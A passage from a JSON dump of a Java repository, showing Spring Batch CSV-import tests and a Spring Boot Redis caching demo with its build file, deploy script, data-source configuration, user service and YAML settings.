JobParametersBuilder()\n                .addLong(\"time\",System.currentTimeMillis())\n                .addString(KEY_JOB_NAME, \"BscExeOffice\")\n                .addString(KEY_FILE_NAME, p.getCsvExeOffice())\n                .addString(KEY_VO_NAME, \"com.xncoding.trans.modules.common.vo.BscExeOffice\")\n                .addString(KEY_COLUMNS, String.join(\",\", new String[]{\n                        \"id\",\"cantonid\",\"code\",\"name\",\"memcode\",\"supdeptid\",\"comdeptid\",\"contactman\",\"tel\",\"mobil\",\"email\",\"bgofficeid\",\"infomobil\",\"infoman\",\"logpass\",\"startdate\",\"stopdate\",\"status\",\"memo\",\"auditer\",\"audittime\",\"isaudit\",\"edittime\",\"platform_id\",\"isprintbill\"\n                }))\n                .addString(KEY_SQL, \"insert into NT_BSC_EXEOFFICE (F_ID,F_CANTONID,F_CODE,F_NAME,F_MEMCODE,F_SUPDEPTID,F_COMDEPTID,F_CONTACTMAN,F_TEL,F_MOBIL,F_EMAIL,F_BGOFFICEID,F_INFOMOBIL,F_INFOMAN,F_LOGPASS,F_STARTDATE,F_STOPDATE,F_STATUS,F_MEMO,F_AUDITER,F_AUDITTIME,F_ISAUDIT,F_EDITTIME,F_PLATFORM_ID,F_ISPRINTBILL)\" +\n                        \" values(:id, :cantonid, :code, :name, :memcode, :supdeptid, :comdeptid, :contactman, :tel, :mobil, :email, :bgofficeid, :infomobil, :infoman, :logpass, :startdate, :stopdate, :status, :memo, :auditer, :audittime, :isaudit, :edittime, :platform_id, :isprintbill)\")\n                .toJobParameters();\n        jobLauncher.run(commonJob, jobParameters1);\n\n//        JobParameters jobParameters2 = new JobParametersBuilder()\n//                .addLong(\"time\",System.currentTimeMillis())\n//                .addString(KEY_JOB_NAME, \"Log\")\n//                .addString(KEY_FILE_NAME, p.getCsvLog())\n//                .addString(KEY_VO_NAME, \"com.xncoding.trans.modules.zlog.Log\")\n//                .addString(KEY_COLUMNS, String.join(\",\", new String[]{\n//                        \"logid\", \"msg\", \"logtime\"\n//                }))\n//                .addString(KEY_SQL, \"insert into z_test_Log (logid, msg, logtime) values(:logid, :msg, :logtime)\")\n//                .toJobParameters();\n//        jobLauncher.run(commonJob, jobParameters2);\n\n        logger.info(\"Main线程执行完成\");\n\n        while (true) {\n            Thread.sleep(2000000L);\n        }\n    }\n\n    /**\n        CREATE TABLE Z_TEST_APP (\n            appid INT,\n            zname VARCHAR2 (20),\n            flag VARCHAR2 (2),\n            CONSTRAINT app_pk PRIMARY KEY (appid)\n         );\n\n         CREATE TABLE Z_TEST_LOG (\n            logid INT,\n            msg VARCHAR2 (20),\n            logtime VARCHAR2 (8),\n            CONSTRAINT log_pk PRIMARY KEY (logid)\n         );\n     * @throws Exception\n     */\n    @Test\n    public void testTwoJobs() throws Exception {\n        JobParameters jobParameters1 = new JobParametersBuilder()\n                .addLong(\"time\", System.currentTimeMillis())\n                .addString(\"input.file.name\", p.getCsvApp())\n                .toJobParameters();\n        jobLauncher.run(zappJob, jobParameters1);\n\n        JobParameters jobParameters2 = new JobParametersBuilder()\n                .addLong(\"time\", System.currentTimeMillis())\n                .addString(\"input.file.name\", p.getCsvLog())\n                .toJobParameters();\n        jobLauncher.run(zlogJob, jobParameters2);\n\n        logger.info(\"Main线程执行完成\");\n        while (true) {\n            Thread.sleep(2000000L);\n        }\n    }\n\n    @Test\n    public void testRunSimple() throws Exception {\n        csvService.runTask(BscCanton.class);\n        csvService.runTask(BscOfficeExeItem.class);\n        csvService.runTask(BscExeOffice.class);\n        csvService.runTask(BscTollItem.class);\n        while (true) {\n            Thread.sleep(200000L);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/src/test/java/com/xncoding/service/SimpleTest.java",
    "content": "package com.xncoding.service;\n\nimport org.junit.Test;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Arrays;\nimport java.util.Date;\nimport java.util.Locale;\n\n/**\n * SimpleTest\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/5\n */\npublic class SimpleTest {\n    @Test\n    public void test() throws Exception {\n        System.out.println(Arrays.toString(new String[]{\"11\", \"22\"}));\n        System.out.println(String.join(\",\", new String[]{\"11\", \"22\"}));\n\n        String d = \"08-12月-17 05.38.07.812000 下午\";\n        Locale locale = Locale.CHINA;\n        Date dd = new SimpleDateFormat(\"dd-M月-y hh.mm.ss.S a\", locale).parse(d);\n        System.out.println(new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\").format(dd));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_batch/temp.txt",
    "content": "530000_00741,530000,00741,云南省城市建设档案学会,,,,,,,,,,,,20100805,21001231,0,,,,1,24-8月 -16 08.55.05.628000 下午,,0"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/README.md",
    "content": "## SpringBoot Cache 演示项目\n\n基于注解的声明式缓存\n\nSpringBoot 2.0的写法有些改变，参考：\n\nhttps://3dot141.com/blogs/20329.html\n\nhttps://my.oschina.net/u/3773384/blog/1795296\n\n## 运行\n\n本地安装好MySQL 5.7，并执行初始化sql脚本：`resources/sql/t_user.sql`\n\n另外还需要安装Redis，配置好`application.yml`文件中的redis地址\n\n测试用例：`com.xncoding.service.UserServiceTest.java`\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_cache</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>SpringBoot Transaction演示</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n        <relativePath/>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n\t\t<druid.version>1.1.2</druid.version>\n        <mysql-connector.version>8.0.7-dmr</mysql-connector.version>\n        <mybatis-plus.version>2.1.8</mybatis-plus.version>\n        <mybatisplus-spring-boot-starter.version>1.0.5</mybatisplus-spring-boot-starter.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-pool2</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n            <version>2.9.6</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n            <exclusions>\n                <exclusion>\n                    <groupId>com.vaadin.external.google</groupId>\n                    <artifactId>android-json</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n\t\t<dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>${mysql-connector.version}</version>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>${druid.version}</version>\n        </dependency>\n        <!-- MyBatis plus增强和springboot的集成-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatisplus-spring-boot-starter</artifactId>\n            <version>${mybatisplus-spring-boot-starter.version}</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/src/main/java/com/xncoding/trans/Application.java",
    "content": "package com.xncoding.trans;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.cache.annotation.EnableCaching;\n\n@SpringBootApplication\n@EnableCaching\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/src/main/java/com/xncoding/trans/config/DruidProperties.java",
    "content": "package com.xncoding.trans.config;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.util.JdbcConstants;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\nimport java.sql.SQLException;\n\n/**\n * <p>数据库数据源配置</p>\n * <p>说明:这个类中包含了许多默认配置,若这些配置符合您的情况,您可以不用管,若不符合,建议不要修改本类,建议直接在\"application.yml\"中配置即可</p>\n *\n * @author xiongneng\n * @since 2017-05-21 11:18\n */\n@Component\n@ConfigurationProperties(prefix = \"spring.datasource\")\npublic class DruidProperties {\n\n    private String url;\n\n    private String username;\n\n    private String password;\n\n    private String driverClassName = \"com.mysql.cj.jdbc.Driver\";\n\n    private Integer initialSize = 10;\n\n    private Integer minIdle = 3;\n\n    private Integer maxActive = 60;\n\n    private Integer maxWait = 60000;\n\n    private Boolean removeAbandoned = true;\n\n    private Integer removeAbandonedTimeout = 180;\n\n    private Integer timeBetweenEvictionRunsMillis = 60000;\n\n    private Integer minEvictableIdleTimeMillis = 300000;\n\n    private String validationQuery = \"SELECT 'x'\";\n\n    private Boolean testWhileIdle = true;\n\n    private Boolean testOnBorrow = false;\n\n    private Boolean testOnReturn = false;\n\n    private Boolean poolPreparedStatements = true;\n\n    private Integer maxPoolPreparedStatementPerConnectionSize = 50;\n\n    private String filters = \"stat\";\n\n    public void config(DruidDataSource dataSource) {\n        dataSource.setDbType(JdbcConstants.MYSQL);\n        dataSource.setUrl(url);\n        dataSource.setUsername(username);\n        dataSource.setPassword(password);\n        dataSource.setDriverClassName(driverClassName);\n        dataSource.setInitialSize(initialSize);     // 定义初始连接数\n        dataSource.setMinIdle(minIdle);             // 最小空闲\n        dataSource.setMaxActive(maxActive);         // 定义最大连接数\n        dataSource.setMaxWait(maxWait);             // 获取连接等待超时的时间\n        dataSource.setRemoveAbandoned(removeAbandoned); // 超过时间限制是否回收\n        dataSource.setRemoveAbandonedTimeout(removeAbandonedTimeout); // 超过时间限制多长\n\n        // 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒\n        dataSource.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis);\n        // 配置一个连接在池中最小生存的时间，单位是毫秒\n        dataSource.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis);\n        // 用来检测连接是否有效的sql，要求是一个查询语句\n        dataSource.setValidationQuery(validationQuery);\n        // 申请连接的时候检测\n        dataSource.setTestWhileIdle(testWhileIdle);\n        // 申请连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnBorrow(testOnBorrow);\n        // 归还连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnReturn(testOnReturn);\n        // 打开PSCache，并且指定每个连接上PSCache的大小\n        dataSource.setPoolPreparedStatements(poolPreparedStatements);\n        dataSource.setMaxPoolPreparedStatementPerConnectionSize(maxPoolPreparedStatementPerConnectionSize);\n        // 属性类型是字符串，通过别名的方式配置扩展插件，常用的插件有：\n        // 监控统计用的filter:stat\n        // 日志用的filter:log4j\n        // 防御SQL注入的filter:wall\n        try {\n            dataSource.setFilters(filters);\n        } catch (SQLException e) {\n            e.printStackTrace();\n        }\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    public String getDriverClassName() {\n        return driverClassName;\n    }\n\n    public void setDriverClassName(String driverClassName) {\n        this.driverClassName = driverClassName;\n    }\n\n    public Integer getInitialSize() {\n        return initialSize;\n    }\n\n    public void setInitialSize(Integer initialSize) {\n        this.initialSize = initialSize;\n    }\n\n    public Integer getMinIdle() {\n        return minIdle;\n    }\n\n    public void setMinIdle(Integer minIdle) {\n        this.minIdle = minIdle;\n    }\n\n    public Integer getMaxActive() {\n        return maxActive;\n    }\n\n    public void setMaxActive(Integer maxActive) {\n        this.maxActive = maxActive;\n    }\n\n    public Integer getMaxWait() {\n        return maxWait;\n    }\n\n    public void setMaxWait(Integer maxWait) {\n        this.maxWait = maxWait;\n    }\n\n    public Integer getTimeBetweenEvictionRunsMillis() {\n        return timeBetweenEvictionRunsMillis;\n    }\n\n    public void setTimeBetweenEvictionRunsMillis(Integer timeBetweenEvictionRunsMillis) {\n        this.timeBetweenEvictionRunsMillis = timeBetweenEvictionRunsMillis;\n    }\n\n    public Integer getMinEvictableIdleTimeMillis() {\n        return minEvictableIdleTimeMillis;\n    }\n\n    public void setMinEvictableIdleTimeMillis(Integer minEvictableIdleTimeMillis) {\n        this.minEvictableIdleTimeMillis = minEvictableIdleTimeMillis;\n    }\n\n    public String getValidationQuery() {\n        return validationQuery;\n    }\n\n    public void setValidationQuery(String validationQuery) {\n        this.validationQuery = validationQuery;\n    }\n\n    public Boolean getTestWhileIdle() {\n        return testWhileIdle;\n    }\n\n    public void setTestWhileIdle(Boolean testWhileIdle) {\n        this.testWhileIdle = testWhileIdle;\n    }\n\n    public Boolean getTestOnBorrow() {\n        return testOnBorrow;\n    }\n\n    public void setTestOnBorrow(Boolean testOnBorrow) {\n        this.testOnBorrow = testOnBorrow;\n    }\n\n    public Boolean getTestOnReturn() {\n        return testOnReturn;\n    }\n\n    public void setTestOnReturn(Boolean testOnReturn) {\n        this.testOnReturn = testOnReturn;\n    }\n\n    public Boolean getPoolPreparedStatements() {\n        return poolPreparedStatements;\n    }\n\n    public void setPoolPreparedStatements(Boolean poolPreparedStatements) {\n        this.poolPreparedStatements = poolPreparedStatements;\n    }\n\n    public Integer getMaxPoolPreparedStatementPerConnectionSize() {\n        return maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public void setMaxPoolPreparedStatementPerConnectionSize(Integer maxPoolPreparedStatementPerConnectionSize) {\n        this.maxPoolPreparedStatementPerConnectionSize = maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public String getFilters() {\n        return filters;\n    }\n\n    public void setFilters(String filters) {\n        this.filters = filters;\n    }\n\n    public Boolean getRemoveAbandoned() {\n        return removeAbandoned;\n    }\n\n    public void setRemoveAbandoned(Boolean removeAbandoned) {\n        this.removeAbandoned = removeAbandoned;\n    }\n\n    public Integer getRemoveAbandonedTimeout() {\n        return removeAbandonedTimeout;\n    }\n\n    public void setRemoveAbandonedTimeout(Integer removeAbandonedTimeout) {\n        this.removeAbandonedTimeout = removeAbandonedTimeout;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/src/main/java/com/xncoding/trans/config/MybatisPlusConfig.java",
    "content": "package com.xncoding.trans.config;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.baomidou.mybatisplus.plugins.PaginationInterceptor;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\nimport javax.annotation.Resource;\n\n/**\n * MybatisPlus配置\n *\n * @author xiongneng\n * @since 2017/5/20 21:58\n */\n@Configuration\n@EnableTransactionManagement(order = 2)\n@MapperScan(basePackages = {\"com.xncoding.trans.dao.repository\"})\npublic class MybatisPlusConfig {\n\n    @Resource\n    private DruidProperties druidProperties;\n\n    /**\n     * 单数据源连接池配置\n     */\n    @Bean\n    public DruidDataSource singleDatasource() {\n        DruidDataSource dataSource = new DruidDataSource();\n        druidProperties.config(dataSource);\n        return dataSource;\n    }\n\n    /**\n     * mybatis-plus分页插件\n     */\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        return new PaginationInterceptor();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/src/main/java/com/xncoding/trans/config/RedisCacheConfig.java",
    "content": "package com.xncoding.trans.config;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.boot.autoconfigure.cache.CacheManagerCustomizer;\nimport org.springframework.cache.CacheManager;\nimport org.springframework.cache.annotation.CachingConfigurerSupport;\nimport org.springframework.cache.annotation.EnableCaching;\nimport org.springframework.cache.interceptor.KeyGenerator;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.env.Environment;\nimport org.springframework.data.redis.cache.RedisCacheConfiguration;\nimport org.springframework.data.redis.cache.RedisCacheManager;\nimport org.springframework.data.redis.connection.RedisConnectionFactory;\nimport org.springframework.data.redis.connection.RedisPassword;\nimport org.springframework.data.redis.connection.RedisStandaloneConfiguration;\nimport org.springframework.data.redis.connection.jedis.JedisConnectionFactory;\nimport org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.serializer.GenericJackson2JsonRedisSerializer;\nimport org.springframework.data.redis.serializer.Jackson2JsonRedisSerializer;\nimport org.springframework.data.redis.serializer.RedisSerializationContext;\nimport org.springframework.data.redis.serializer.StringRedisSerializer;\n\nimport java.lang.reflect.Method;\nimport java.time.Duration;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * RedisCacheConfig\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/2/2\n */\n@Configuration\n@EnableCaching\npublic class RedisCacheConfig {\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n\n    @Autowired\n    private Environment env;\n\n    @Bean\n    public LettuceConnectionFactory redisConnectionFactory() {\n        RedisStandaloneConfiguration redisConf = new RedisStandaloneConfiguration();\n        redisConf.setHostName(env.getProperty(\"spring.redis.host\"));\n        redisConf.setPort(Integer.parseInt(env.getProperty(\"spring.redis.port\")));\n        redisConf.setPassword(RedisPassword.of(env.getProperty(\"spring.redis.password\")));\n        return new LettuceConnectionFactory(redisConf);\n    }\n\n    @Bean\n    public RedisCacheConfiguration cacheConfiguration() {\n        RedisCacheConfiguration cacheConfig = RedisCacheConfiguration.defaultCacheConfig()\n                .entryTtl(Duration.ofSeconds(600))\n                .disableCachingNullValues();\n        return cacheConfig;\n    }\n\n    @Bean\n    public RedisCacheManager cacheManager() {\n        RedisCacheManager rcm = RedisCacheManager.builder(redisConnectionFactory())\n                .cacheDefaults(cacheConfiguration())\n                .transactionAware()\n                .build();\n        return rcm;\n    }\n\n    /**\n     * 自定义缓存key的生成类实现\n     */\n    @Bean(name = \"myKeyGenerator\")\n    public KeyGenerator myKeyGenerator() {\n        return new KeyGenerator() {\n            @Override\n            public Object generate(Object o, Method method, Object... params) {\n                logger.info(\"自定义缓存，使用第一参数作为缓存key，params = \" + Arrays.toString(params));\n                // 仅仅用于测试，实际不可能这么写\n                return params[0];\n            }\n        };\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/src/main/java/com/xncoding/trans/dao/entity/User.java",
    "content": "package com.xncoding.trans.dao.entity;\n\nimport com.baomidou.mybatisplus.activerecord.Model;\nimport com.baomidou.mybatisplus.annotations.TableId;\nimport com.baomidou.mybatisplus.annotations.TableName;\nimport com.baomidou.mybatisplus.enums.IdType;\n\nimport java.io.Serializable;\n\n@TableName(value = \"t_user\")\npublic class User extends Model<User> {\n    /**\n     * 主键ID\n     */\n    @TableId(value=\"id\", type= IdType.INPUT)\n    private Integer id;\n\n    private String username;\n\n    private String password;\n\n    public User() {\n    }\n\n    public User(Integer id, String username, String password) {\n        this.id = id;\n        this.username = username;\n        this.password = password;\n    }\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/src/main/java/com/xncoding/trans/dao/repository/UserMapper.java",
    "content": "package com.xncoding.trans.dao.repository;\n\nimport com.baomidou.mybatisplus.mapper.BaseMapper;\nimport com.xncoding.trans.dao.entity.User;\n\npublic interface UserMapper extends BaseMapper<User> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/src/main/java/com/xncoding/trans/service/UserService.java",
    "content": "package com.xncoding.trans.service;\n\nimport com.baomidou.mybatisplus.mapper.Condition;\nimport com.xncoding.trans.dao.entity.User;\nimport com.xncoding.trans.dao.repository.UserMapper;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.cache.annotation.*;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport javax.annotation.Resource;\nimport java.util.List;\n\n@Service\n@Transactional\npublic class UserService {\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n    @Resource\n    private UserMapper userMapper;\n\n    /**\n     * cacheNames 设置缓存的值\n     * key：指定缓存的key，这是指参数id值。key可以使用spEl表达式\n     *\n     * @param id\n     * @return\n     */\n    @Cacheable(value = \"userCache\", key = \"#id\", unless=\"#result == null\")\n    public User getById(int id) {\n        logger.info(\"获取用户start...\");\n        return userMapper.selectById(id);\n    }\n\n    @Cacheable(value = \"allUsersCache\", unless = \"#result.size() == 0\")\n    public List<User> getAllUsers() {\n        logger.info(\"获取所有用户列表\");\n        return userMapper.selectList(null);\n    }\n\n    /**\n     * 创建用户，同时使用新的返回值的替换缓存中的值\n     * 创建用户后会将allUsersCache缓存全部清空\n     */\n    @Caching(\n            put = {@CachePut(value = \"userCache\", key = \"#user.id\")},\n            evict = {@CacheEvict(value = \"allUsersCache\", allEntries = true)}\n    )\n    public User createUser(User user) {\n        logger.info(\"创建用户start..., user.id=\" + user.getId());\n        userMapper.insert(user);\n        return user;\n    }\n\n    /**\n     * 更新用户，同时使用新的返回值的替换缓存中的值\n     * 更新用户后会将allUsersCache缓存全部清空\n     */\n    @Caching(\n            put = {@CachePut(value = \"userCache\", key = \"#user.id\")},\n            evict = {@CacheEvict(value = \"allUsersCache\", allEntries = true)}\n    )\n    public User updateUser(User user) {\n        logger.info(\"更新用户start...\");\n        userMapper.updateById(user);\n        return user;\n    }\n\n    /**\n     * 对符合key条件的记录从缓存中移除\n     * 删除用户后会将allUsersCache缓存全部清空\n     */\n    @Caching(\n            evict = {\n                    @CacheEvict(value = \"userCache\", key = \"#id\"),\n                    @CacheEvict(value = \"allUsersCache\", allEntries = true)\n            }\n    )\n    public void deleteById(int id) {\n        logger.info(\"删除用户start...\");\n        userMapper.deleteById(id);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  项目启动端口  ###################\nserver.port: 8092\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/test666?useSSL=false&autoReconnect=true&tinyInt1isBit=false&useUnicode=true&characterEncoding=utf8\n    username: root\n    password:\n\n###################  mybatis-plus配置  ###################\nmybatis-plus:\n  mapper-locations: classpath*:com/xncoding/trans/dao/repository/mapping/*.xml\n  typeAliasesPackage: >\n    com.xncoding.trans.dao.entity\n  global-config:\n    id-type: 0  # 0:数据库ID自增   1:用户输入id  2:全局唯一id(IdWorker)  3:全局唯一ID(uuid)\n    db-column-underline: false\n    refresh-mapper: true\n  configuration:\n    map-underscore-to-camel-case: true\n    cache-enabled: true #配置的缓存的全局开关\n    lazyLoadingEnabled: true #延时加载的开关\n    multipleResultSetsEnabled: true #开启的话，延时加载一个属性时会加载该对象全部属性，否则按需加载属性\n\nlogging:\n  level:\n    org.springframework.web.servlet: ERROR\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n  cache:\n    type: REDIS\n    redis:\n      cache-null-values: false\n      time-to-live: 600000ms\n      use-key-prefix: true\n    cache-names: userCache,allUsersCache\n  redis:\n    host: 127.0.0.1\n    port: 6379\n    database: 0\n    lettuce:\n      shutdown-timeout: 200ms\n      pool:\n        max-active: 7\n        max-idle: 7\n        min-idle: 2\n        max-wait: -1ms\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: D:/logs/springboot-cache.log\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_cache/src/main/resources/sql/t_user.sql",
